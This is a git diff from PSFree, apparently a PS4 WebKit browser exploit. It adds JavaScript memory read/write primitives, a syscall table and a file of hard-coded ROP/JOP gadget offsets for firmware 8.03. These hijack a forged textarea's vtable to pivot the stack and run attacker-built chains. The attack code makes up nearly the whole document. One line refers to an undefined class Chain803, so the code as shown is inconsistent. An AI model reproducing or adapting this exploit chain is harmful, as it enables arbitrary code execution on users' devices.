@@ -0,0 +1,7 @@
+SECTIONS
+{
+  .text : { *(.text.start) *(.text) }
+  .data : { *(.data) }
+  .bss : { *(.bss) }
+  /DISCARD/ : { *(.*) }
+}
diff --git a/kpatch/types.h b/kpatch/types.h
new file mode 100644
index 0000000..bcd075a
--- /dev/null
+++ b/kpatch/types.h
@@ -0,0 +1,28 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+#pragma once
+
+typedef unsigned char u8;
+typedef unsigned short u16;
+typedef unsigned int u32;
+typedef unsigned long long u64;
+
+typedef signed char s8;
+typedef signed short s16;
+typedef signed int s32;
+typedef signed long long s64;
diff --git a/module/chain.mjs b/module/chain.mjs
index 4efceae..794371a 100644
--- a/module/chain.mjs
+++ b/module/chain.mjs
@@ -28,14 +28,31 @@ import * as o from './offset.mjs';
 
 // put the sycall names that you want to use here
 export const syscall_map = new Map(Object.entries({
+    'close': 6,
+    'setuid' : 23,
     'getuid' : 24,
+    'mprotect': 74,
+    'socket' : 97,
+    'fchmod' : 124,
+    'mlock' : 203,
+    'kqueue' : 362,
+    'kevent' : 363,
+    'mmap' : 477,
+    // for JIT shared memory
+    'jitshm_create' : 533,
+    'jitshm_alias' : 534,
 }));
 
 // Extra space to allow a ROP chain to push temporary values. It must pop all
 // of it before reaching a "ret" instruction, else the instruction will pop one
 // of the temporaries as its return address.
-const upper_pad = 0x100;
-const stack_size = 0x1000;
+//
+// Also space for additional frames when we call a function since we do not
+// pivot the call to another stack (the called function's stack pointer is
+// pointing to our ROP stack as well).
+const upper_pad = 0x10000;
+// maximum size of the ROP stack
+const stack_size = 0x10000;
 const total_size = upper_pad + stack_size;
 
 const argument_pops = [
diff --git a/module/int64.mjs b/module/int64.mjs
index 1cbe791..5e9864e 100644
--- a/module/int64.mjs
+++ b/module/int64.mjs
@@ -114,6 +114,11 @@ export class Int {
         this.buffer = buffer;
         this.bytes = bytes;
 
+        this.eq = operation(function eq(b) {
+            const a = this;
+            return a.low() === b.low() && a.high() === b.high();
+        }, 1);
+
         this.neg = operation(function neg() {
             let type = this.constructor;
 
diff --git a/module/mem.mjs b/module/mem.mjs
index 9e10261..9532a02 100644
--- a/module/mem.mjs
+++ b/module/mem.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2024 anonymous
 
 This file is part of PSFree.
 
@@ -208,31 +208,6 @@ class MemoryBase {
 }
 
 export class Memory extends MemoryBase {
-    constructor(main, main_addr, worker, worker_addr, worker_index)  {
-        super();
-
-        this.main = main;
-        this.main_addr = main_addr;
-        this.worker = worker;
-        this.worker_addr = worker_addr;
-
-        // The initial creation of the "a" property will change the butterfly
-        // address. Do it now so we can cache it for addrof().
-        worker.a = 0; // dummy value, we just want to create the "a" property
-        this.butterfly = read64(main, worker_index + o.js_butterfly);
-
-        write32(main, worker_index + o.view_m_length, 0xffffffff);
-        // setup main's m_vector to worker
-        write64(main, worker_index + o.view_m_vector, main_addr);
-        write64(worker, o.view_m_vector, worker_addr);
-
-        this._current_addr = main_addr;
-
-        init_module(this);
-    }
-}
-
-export class Memory2 extends MemoryBase {
     constructor(main, worker)  {
         super();
 
diff --git a/module/memtools.mjs b/module/memtools.mjs
index 91a639e..7c57355 100644
--- a/module/memtools.mjs
+++ b/module/memtools.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2024 anonymous
 
 This file is part of PSFree.
 
@@ -26,42 +26,61 @@ import { read32 } from './rw.mjs';
 import * as rw from './rw.mjs';
 import * as o from './offset.mjs';
 
+// creates an ArrayBuffer whose contents is copied from addr
 export function make_buffer(addr, size) {
     // see enum TypedArrayMode from
     // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
     // at webkitgtk 2.34.4
     //
-    // views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
-    // associated with them, if we ask for view.buffer, it will be created on
-    // the fly
-    const mode_fast = 0;
-    const u = new Uint8Array(1);
+    // see possiblySharedBuffer() from
+    // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
+    // at webkitgtk 2.34.4
+    //
+    // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
+    // associated with them, if we ask for view.buffer, the view will be
+    // converted into a WastefulTypedArray and an ArrayBuffer will be created.
+    //
+    // We will create an OversizeTypedArray via requesting an Uint8Array whose
+    // number of elements will be greater than fastSizeLimit (1000).
+    //
+    // We will not use a FastTypedArray since its m_vector is visited by the
+    // GC and we will temporarily change it. The GC expects addresses from the
+    // JS heap, and that heap has metadata that the GC uses. The GC will likely
+    // crash since valid metadata won't likely be found at arbitrary addresses.
+    //
+    // The FastTypedArray approach will have a small time frame where the GC
+    // can inspect the invalid m_vector field.
+    //
+    // Views created via "new TypedArray(x)" where "x" is a number will always
+    // have an m_mode < WastefulTypedArray.
+    const u = new Uint8Array(1001);
     const u_addr = mem.addrof(u);
 
+    // we won't change the butterfly and m_mode so we won't save those
     const old_addr = u_addr.read64(o.view_m_vector);
-    u_addr.write64(o.view_m_vector, addr);
-
     const old_size = u_addr.read32(o.view_m_length);
+
+    u_addr.write64(o.view_m_vector, addr);
     u_addr.write32(o.view_m_length, size);
 
-    const old_mode = u_addr.read32(o.view_m_mode);
-    // force mode to FastTypedArray
-    u_addr.write32(o.view_m_mode, mode_fast);
+    const copy = new Uint8Array(u.length);
+    copy.set(u);
 
-    const res = u.buffer;
+    // We can't use slowDownAndWasteMemory() on u since that will create a
+    // JSC::ArrayBufferContents with its m_data pointing to addr. On the
+    // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
+    // cause a crash if the m_data is not from the fastMalloc heap, and even if
+    // it is, freeing abitrary addresses is dangerous as it may lead to a
+    // use-after-free.
+    const res = copy.buffer;
 
     // restore
     u_addr.write64(o.view_m_vector, old_addr);
     u_addr.write32(o.view_m_length, old_size);
-    u_addr.write32(o.view_m_mode, old_mode);
 
     return res;
 }
 
-function eq(a, b) {
-    return (a.low() === b.low()) && (a.high() === b.high());
-}
-
 // these values came from analyzing dumps from CelesteBlue
 function check_magic_at(p, is_text) {
     // byte sequence that is very likely to appear at offset 0 of a .text
@@ -88,7 +107,7 @@ function check_magic_at(p, is_text) {
     const magic = is_text ? text_magic : data_magic;
     const value = [p.read64(0), p.read64(8)];
 
-    return eq(value[0], magic[0]) && eq(value[1], magic[1]);
+    return value[0].eq(magic[0]) && value[1].eq(magic[1]);
 }
 
 // Finds the base address of a segment: .text or .data
@@ -156,7 +175,7 @@ export function resolve_import(import_addr) {
     // of the next instruction. This means that the actual address used is
     // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
     // jump instruction, which is 6 in this case.
-    const function_addr = import_addr.add(offset.add(6)).readp(0);
+    const function_addr = import_addr.readp(offset.add(6));
 
     return function_addr;
 }
diff --git a/rop/800.mjs b/rop/800.mjs
new file mode 100644
index 0000000..8b04cde
--- /dev/null
+++ b/rop/800.mjs
@@ -0,0 +1,1288 @@
+/* Copyright (C) 2023-2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+import * as config from '../config.mjs';
+
+import { Int } from '../module/int64.mjs';
+import { debug_log, die } from '../module/utils.mjs';
+import { Addr, mem } from '../module/mem.mjs';
+import { KB, MB } from '../module/constants.mjs';
+import { ChainBase } from '../module/chain.mjs';
+
+import {
+    make_buffer,
+    find_base,
+    get_view_vector,
+    resolve_import,
+    init_syscall_array,
+} from '../module/memtools.mjs';
+
+import * as rw from '../module/rw.mjs';
+import * as o from '../module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const syscall_array = [];
+
+const offset_textarea_impl = 0x18;
+
+// WebKit offsets of imported functions
+const offset_wk_stack_chk_fail = 0x8d8;
+const offset_wk_strlen = 0x918;
+
+// libSceLibcInternal offsets
+const offset_libc_setjmp = 0x258f4;
+const offset_libc_longjmp = 0x29c58;
+
+// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
+//
+// int setjmp(jmp_buf)
+// noreturn longjmp(jmp_buf)
+//
+// This version of longjmp() does not take another argument to be used as
+// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
+// rax. Change it if you want a specific value from setjmp() after the
+// longjmp().
+const jmp_buf_size = 0xc8;
+let setjmp_addr = null;
+let longjmp_addr = null;
+
+// libSceNKWebKit.sprx
+let libwebkit_base = null;
+// libkernel_web.sprx
+let libkernel_base = null;
+// libSceLibcInternal.sprx
+let libc_base = null;
+// kernel base address
+let kbase = null;
+
+const kjop1 = `
+mov rdi, qword ptr [rdi]
+mov rax, qword ptr [rdi]
+jmp qword ptr [rax + 0xe0]
+`;
+const k2jop1 = `
+mov rdi, qword ptr [rsi + 8]
+mov rax, qword ptr [rdi]
+jmp qword ptr [rax + 0x70]
+`;
+// gadgets for the JOP chain
+//
+// When the scrollLeft getter native function is called on PS4 8.03, rsi is the
+// JS wrapper for the WebCore textarea class.
+const jop1 = `
+mov rdi, qword ptr [rsi + 0x20]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x28]
+`;
+// Since the method of code redirection we used is via redirecting a call to
+// jump to our JOP chain, we have the return address of the caller on entry.
+//
+// jop1 pushed another object (via the call instruction) but we want no extra
+// objects between the return address and the rbp that will be pushed by jop3
+// later. So we pop the return address pushed by jop1.
+//
+// This will make pivoting back easy, just "leave; ret".
+const jop2 = `
+pop rsi
+jmp qword ptr [rax + 0x5f]
+`;
+// rbp is now pushed, any extra objects pushed by the call instructions can be
+// ignored
+const jop3 = `
+push rbp
+mov rbp, rsp
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x30]
+`;
+const jop4 = `
+mov rdx, qword ptr [rax + 0x18]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x10]
+`;
+const jop5 = `
+push rdx
+mov edi, 0xac9784fe
+jmp qword ptr [rax]
+`;
+const jop6 = 'pop rsp; ret';
+
+// the ps4 firmware is compiled to use rbp as a frame pointer
+//
+// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
+// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
+// restore rbp (if needed) before the epilogue.
+//
+// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
+// pushed earlier before the pivot, thus restoring the old rbp).
+//
+// leave instruction equivalent:
+//     mov rsp, rbp
+//     pop rbp
+const rop_epilogue = 'leave; ret';
+
+const push_rdx_jmp = `
+push rdx
+mov edi, 0xac9784fe
+jmp qword ptr [rax]
+`;
+
+const webkit_gadget_offsets = new Map(Object.entries({
+    'pop rax; ret' : 0x0000000000035a1b,
+    'pop rbx; ret' : 0x000000000001537c,
+    'pop rcx; ret' : 0x0000000000025ecb,
+    'pop rdx; ret' : 0x0000000000060f52,
+
+    'pop rbp; ret' : 0x00000000000000b6,
+    'pop rsi; ret' : 0x000000000003bd77,
+    'pop rdi; ret' : 0x00000000001e3f87,
+    'pop rsp; ret' : 0x00000000000bf669,
+
+    'pop r8; ret' : 0x0000000000097442,
+    'pop r9; ret' : 0x00000000006f501f,
+    'pop r10; ret' : 0x0000000000060f51,
+    'pop r11; ret' : 0x0000000000d2a629,
+
+    'pop r12; ret' : 0x0000000000d8968d,
+    'pop r13; ret' : 0x00000000016ccff1,
+    'pop r14; ret' : 0x000000000003bd76,
+    'pop r15; ret' : 0x00000000002499df,
+
+    'ret' : 0x0000000000000032,
+    'leave; ret' : 0x0000000000291fd7,
+    'leave; jmp rcx' : 0x000000000062a061,
+
+    'neg rax; and rax, rcx; ret' : 0x0000000000e85f24,
+    'adc esi, esi; ret' : 0x000000000088cbb9,
+    'add rax, rdx; ret' : 0x00000000003cd92c,
+    'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000000b8bc06,
+    'pop rdi; jmp qword ptr [rax + 0x50]' : 0x00000000021f9e8e,
+    'add rax, 8; ret': 0x0000000000468988,
+
+    'mov qword ptr [rdi], rsi; ret' : 0x0000000000034a40,
+    'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
+    'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
+    'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
+    'mov rdx, rcx; ret' : 0x0000000000eae9fd,
+    'mov qword ptr [rdx], rax; mov al, 1; ret' : 0x00000000000b6dcf,
+    'mov rdx, qword ptr [rcx]; ret' : 0x0000000000182bc4,
+
+    'cli; jmp qword ptr [rax + 0x43]' : 0x0000000002163442,
+    'sti; ret' : 0x00000000004b94c8,
+    'xchg rbp, rax; ret' : 0x000000000218ef60,
+
+    [kjop1] : 0x00000000010da705,
+    [k2jop1] : 0x0000000001988320,
+
+    [push_rdx_jmp] : 0x00000000021af6ad,
+
+    [jop1] : 0x000000000057d568,
+    [jop2] : 0x0000000002198221,
+    [jop3] : 0x000000000076b970,
+    [jop4] : 0x0000000000202698,
+    [jop5] : 0x00000000021af6ad,
+    [jop6] : 0x00000000000bf669,
+}));
+
+const libc_gadget_offsets = new Map(Object.entries({
+    'neg rax; ret' : 0x00000000000d3503,
+    'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000ce436,
+    'mov qword ptr [rsi], rcx; ret' : 0x00000000000cede2,
+    'setjmp' : offset_libc_setjmp,
+    'longjmp' : offset_libc_longjmp,
+}));
+
+const gadgets = new Map();
+
+function get_bases() {
+    const textarea = document.createElement('textarea');
+    const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
+    const textarea_vtable = webcore_textarea.readp(0);
+    const libwebkit_base = find_base(textarea_vtable, true, true);
+
+    const stack_chk_fail_import =
+        libwebkit_base
+        .add(offset_wk_stack_chk_fail)
+    ;
+    const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+    const libkernel_base = find_base(stack_chk_fail_addr, true, true);
+
+    const strlen_import = libwebkit_base.add(offset_wk_strlen);
+    const strlen_addr = resolve_import(strlen_import);
+    const libc_base = find_base(strlen_addr, true, true);
+
+    return [
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+    ];
+}
+
+function init_gadget_map(gadget_map, offset_map, base_addr) {
+    for (const [insn, offset] of offset_map) {
+        gadget_map.set(insn, base_addr.add(offset));
+    }
+}
+
+class Chain800Base extends ChainBase {
+    constructor() {
+        super();
+
+        // for conditional jumps
+        this._clean_branch_ctx();
+        this.flag = new Uint8Array(8);
+        this.flag_addr = get_view_vector(this.flag);
+        this.jmp_target = new Uint8Array(0x100);
+        rw.write64(this.jmp_target, 0x50, this.get_gadget(push_rdx_jmp));
+        rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
+
+        // for save/restore
+        this.is_saved = false;
+        const jmp_buf_size = 0xc8;
+        this.jmp_buf = new Uint8Array(jmp_buf_size);
+        this.jmp_buf_p = get_view_vector(this.jmp_buf);
+    }
+
+    push_write64(addr, value) {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(addr);
+        this.push_gadget('pop rsi; ret');
+        this.push_value(value);
+        this.push_gadget('mov qword ptr [rdi], rsi; ret');
+    }
+
+    // sequence to pivot back and return
+    push_end() {
+        this.push_gadget(rop_epilogue);
+    }
+
+    check_is_branching() {
+        if (this.is_branch_ctx) {
+            throw Error('chain is still branching, end it before running');
+        }
+    }
+
+    push_value(value) {
+        super.push_value(value);
+
+        if (this.is_branch_ctx) {
+            this.branch_position += 8;
+        }
+    }
+
+    _clean_branch_ctx() {
+        this.is_branch_ctx = false;
+        this.branch_position = null;
+        this.delta_slot = null;
+        this.rsp_slot = null;
+        this.rsp_position = null;
+    }
+
+    clean() {
+        super.clean();
+        this._clean_branch_ctx();
+        this.is_saved = false;
+    }
+
+    // Use start_branch() and end_branch() to delimit a ROP chain that will
+    // conditionally execute. rax must be set accordingly before the branch.
+    // rax == 0 means execute the conditional chain.
+    //
+    // example that always execute the conditional chain:
+    //     chain.push_gadget('mov rax, 0; ret');
+    //     chain.start_branch();
+    //     chain.push_gadget('pop rbx; ret'); // always executed
+    //     chain.end_branch();
+    start_branch() {
+        if (this.is_branch_ctx) {
+            throw Error('chain already branching, end it first');
+        }
+
+        // clobbers rax, rcx, rdi, rsi
+        //
+        // u64 flag = 0 if -rax == 0 else 1
+        // *flag_addr = flag
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(-1);
+        this.push_gadget('neg rax; ret');
+        this.push_gadget('pop rsi; ret');
+        this.push_constant(0);
+        this.push_gadget('adc esi, esi; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rsi; ret');
+
+        // clobbers rax, rcx, rdi
+        //
+        // rax = *flag_addr
+        // rcx = delta
+        // rax = -rax & rcx
+        // *flag_addr = rax
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // dummy value, overwritten later by end_branch()
+        this.push_gadget('pop rcx; ret');
+        this.delta_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('neg rax; and rax, rcx; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rax, rcx, rdx, rsi
+        //
+        // rcx = rsp_position
+        // rsi = rsp
+        // rcx += rsi
+        // rdx = rcx
+        //
+        // dummy value, overwritten later at the end of start_branch()
+        this.push_gadget('pop rcx; ret');
+        this.rsp_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('pop rsi; ret');
+        this.push_value(this.stack_addr.add(this.position + 8));
+
+        // rsp collected here, start counting how much to perturb rsp
+        this.branch_position = 0;
+        this.is_branch_ctx = true;
+
+        this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
+        this.push_gadget('mov rdx, rcx; ret');
+
+        // clobbers rax
+        //
+        // rax = *flag_addr
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // clobbers rax
+        //
+        // rax += rdx
+        // new_rsp = rax
+        this.push_gadget('add rax, rdx; ret');
+
+        // clobbers rdi
+        //
+        // for debugging, save new_rsp to flag_addr so we can verify it later
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rdx, rcx
+        //
+        // rdx = rax
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(0);
+        this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
+
+        // clobbers rax, rdx, rdi, rsp
+        //
+        // rsp = rdx
+        this.push_gadget('pop rax; ret');
+        this.push_value(get_view_vector(this.jmp_target));
+        this.push_gadget('pop rdi; jmp qword ptr [rax + 0x50]');
+        this.push_constant(0); // padding for the push
+
+        this.rsp_position = this.branch_position;
+        rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
+    }
+
+    end_branch() {
+        if (!this.is_branch_ctx) {
+            throw Error('can not end nonbranching chain');
+        }
+
+        const delta = this.branch_position - this.rsp_position;
+        rw.write64(this.stack, this.delta_slot, new Int(delta));
+        this._clean_branch_ctx();
+    }
+
+    // clobbers rax, rdi, rsi
+    push_save() {
+        if (this.is_saved) {
+            throw Error('restore first before saving again');
+        }
+        this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
+        this.is_saved = true;
+    }
+
+    // Force a push_restore() if at runtime you can ensure the save/restore
+    // pair line up.
+    push_restore(is_force=false) {
+        if (!this.is_saved && !is_force) {
+            throw Error('save first before restoring');
+        }
+        // modify jmp_buf.rsp
+        this.push_gadget('pop rax; ret');
+        const rsp_slot = this.position;
+        // dummy value, overwritten later at the end of push_restore()
+        this.push_constant(0);
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x38));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // modify jmp_buf.return_address
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.get_gadget('ret'));
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x80));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
+
+        // Padding as longjmp() pushes the rdi and return address in the
+        // jmp_buf at the target rsp.
+        this.push_constant(0);
+        this.push_constant(0);
+        const target_rsp = this.stack_addr.add(this.position);
+
+        rw.write64(this.stack, rsp_slot, target_rsp);
+        this.is_saved = false;
+    }
+
+    push_get_retval() {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.retval_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+    }
+
+    call(...args) {
+        if (this.position !== 0) {
+            throw Error('call() needs an empty chain');
+        }
+        this.push_call(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+
+    syscall(...args) {
+        if (this.position !== 0) {
+            throw Error('syscall() needs an empty chain');
+        }
+        this.push_syscall(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+}
+
+// helper object for ROP
+const rop_ta = document.createElement('textarea');
+
+// Chain for PS4 8.03
+class Chain800 extends Chain800Base {
+    constructor() {
+        super();
+
+        // sizeof JSC:JSObject, the JSCell + the butterfly field
+        const js_size = 0x10;
+        // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
+        const js_ta_size = 0x20;
+        // start of the array of inline properties (JSValues)
+        const offset_js_inline_prop = 0x10;
+        // Sizes may vary between webkit versions so we just assume a size
+        // that we think is large enough for all of them.
+        const vtable_size = 0x1000;
+        const webcore_ta_size = 0x180;
+
+        // Empty objects have 6 inline properties that are not inspected by the
+        // GC. This gives us 48 bytes of free space that we can write with
+        // anything.
+        const ta_clone = {};
+        this.ta_clone = ta_clone;
+        const clone_p = mem.addrof(ta_clone);
+        const ta_p = mem.addrof(rop_ta);
+
+        // Copy the contents of the textarea before copying the JSCell. As long
+        // the JSCell is of an empty object, the GC will not inspect the inline
+        // storage.
+        //
+        // MarkedBlocks serve memory in fixed-size chunks (cells). The chunk
+        // size is also called the cell size. Even if you request memory whose
+        // size is less than a cell, the entire cell is allocated for the
+        // object.
+        //
+        // The cell size of the MarkedBlock where the empty object is allocated
+        // is atleast 64 bytes (enough to fit the empty object). So even if we
+        // change the JSCell later and the perceived size of the object
+        // (js_ta_size) is less than 64 bytes, we don't have to worry about the
+        // memory area between clone_p + js_ta_size and clone_p + cell_size
+        // being freed and reused because the entire cell belongs to the object
+        // until it dies.
+        for (let i = js_size; i < js_ta_size; i += 8) {
+            clone_p.write64(i, ta_p.read64(i));
+        }
+
+        // JSHTMLTextAreaElement is a subclass of JSC::JSDestructibleObject and
+        // thus they are allocated on a MarkedBlock with special attributes
+        // that tell the GC to have their destructor clean their storage on
+        // their death.
+        //
+        // The destructor in this case will destroy m_wrapped since they are a
+        // subclass of WebCore::JSDOMObject as well.
+        //
+        // What's great about the clones (initially empty objects) is that they
+        // are instances of JSC::JSFinalObject. That type doesn't have a
+        // destructor and so they are allocated on MarkedBlocks that don't need
+        // destruction.
+        //
+        // So even if a clone dies, the GC will not look for a destructor and
+        // try to run it. This means we can fake m_wrapped and not fear of any
+        // sort of destructor being called on it.
+
+        const webcore_ta = ta_p.readp(offset_textarea_impl);
+        const m_wrapped_clone = new Uint8Array(
+            make_buffer(webcore_ta, webcore_ta_size)
+        );
+        this.m_wrapped_clone = m_wrapped_clone;
+
+        // Replicate the vtable as much as possible or else the garbage
+        // collector will crash. It uses functions from the vtable.
+        //
+        // There is no need to restore the original vtable pointer later since
+        // it points to a copy with only offset 0x1c8 changed. The scrollLeft
+        // getter is not used by the GC.
+        const vtable_clone = new Uint8Array(
+            make_buffer(webcore_ta.readp(0), vtable_size)
+        );
+        this.vtable_clone = vtable_clone
+
+        clone_p.write64(
+            offset_textarea_impl,
+            get_view_vector(m_wrapped_clone),
+        );
+        rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
+
+        // turn the empty object into a textarea (copy JSCell header)
+        //
+        // Don't need to copy the butterfly since it's by default NULL and it
+        // doesn't have any special meaning for the JSHTMLTextAreaObject type,
+        // unlike other types that uses it for something else.
+        //
+        // An example is a JSArrayBufferView with m_mode >= WastefulTypedArray,
+        // their *(butterfly - 8) is a pointer to a JSC::ArrayBuffer.
+        clone_p.write64(0, ta_p.read64(0));
+
+        // 0x1c8 is the offset of the scrollLeft getter native function
+        rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
+
+        // for the JOP chain
+        const rax_ptrs = new Uint8Array(0x100);
+        const rax_ptrs_p = get_view_vector(rax_ptrs);
+        this.rax_ptrs = rax_ptrs;
+
+        rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
+        rw.write64(rax_ptrs, 0x5f, this.get_gadget(jop3));
+        rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
+        rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
+        rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
+        // value to pivot rsp to
+        rw.write64(rax_ptrs, 0x18, this.stack_addr);
+
+        const jop_buffer = new Uint8Array(8);
+        const jop_buffer_p = get_view_vector(jop_buffer);
+        this.jop_buffer = jop_buffer;
+
+        rw.write64(jop_buffer, 0, rax_ptrs_p);
+
+        // Write the needed data by the JOP chain (mov rdi, qword ptr [rsi +
+        // 0x20]) at offset 0x20 (3rd inline property of the empty object) from
+        // the address of the cloned textarea.
+        //
+        // We could have passed the data by another offset like via the
+        // m_classInfo field ([rsi + 0x10]) but the contents of a
+        // JSHTMLTextAreaElement is not safe to change since it is used by the
+        // GC. Even if we restore them immediately, there is a small time frame
+        // where the GC could use the invalid contents.
+        clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+    }
+
+    run() {
+        this.check_stale();
+        this.check_is_empty();
+        this.check_is_branching();
+
+        // jump to JOP chain
+        this.ta_clone.scrollLeft;
+    }
+}
+const Chain = Chain803;
+
+function init(Chain) {
+    [libwebkit_base, libkernel_base, libc_base] = get_bases();
+
+    init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
+    init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+    init_syscall_array(syscall_array, libkernel_base, 300 * KB);
+    debug_log('syscall_array:');
+    debug_log(syscall_array);
+    Chain.init_class(gadgets, syscall_array);
+}
+
+function test_rop(Chain) {
+    const jmp_buf = new Uint8Array(jmp_buf_size);
+    const jmp_buf_p = get_view_vector(jmp_buf);
+
+    init(Chain);
+
+    setjmp_addr = gadgets.get('setjmp');
+    longjmp_addr = gadgets.get('longjmp');
+
+    const chain = new Chain();
+    // Instead of writing to the jmp_buf, set rax here so it will be restored
+    // as the return value after the longjmp().
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+    chain.push_call(setjmp_addr, jmp_buf_p);
+
+    chain.start_branch();
+
+    debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_call(longjmp_addr, jmp_buf_p);
+
+    chain.end_branch();
+
+    debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_end();
+
+    // The ROP chain is a noop. If we crashed, then we did something wrong.
+    alert('chain run');
+    debug_log('test call setjmp()/longjmp()');
+    chain.run()
+    alert('returned successfully');
+    debug_log('returned successfully');
+    debug_log('jmp_buf:');
+    debug_log(jmp_buf);
+    debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
+
+    const state1 = new Uint8Array(8);
+    debug_log('test if rax == 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state1));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(0);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state1 must be 1: ${state1}`);
+    if (state1[0] !== 1) {
+        die('if branch not taken');
+    }
+
+    const state2 = new Uint8Array(8);
+    debug_log('test if rax != 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state2));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
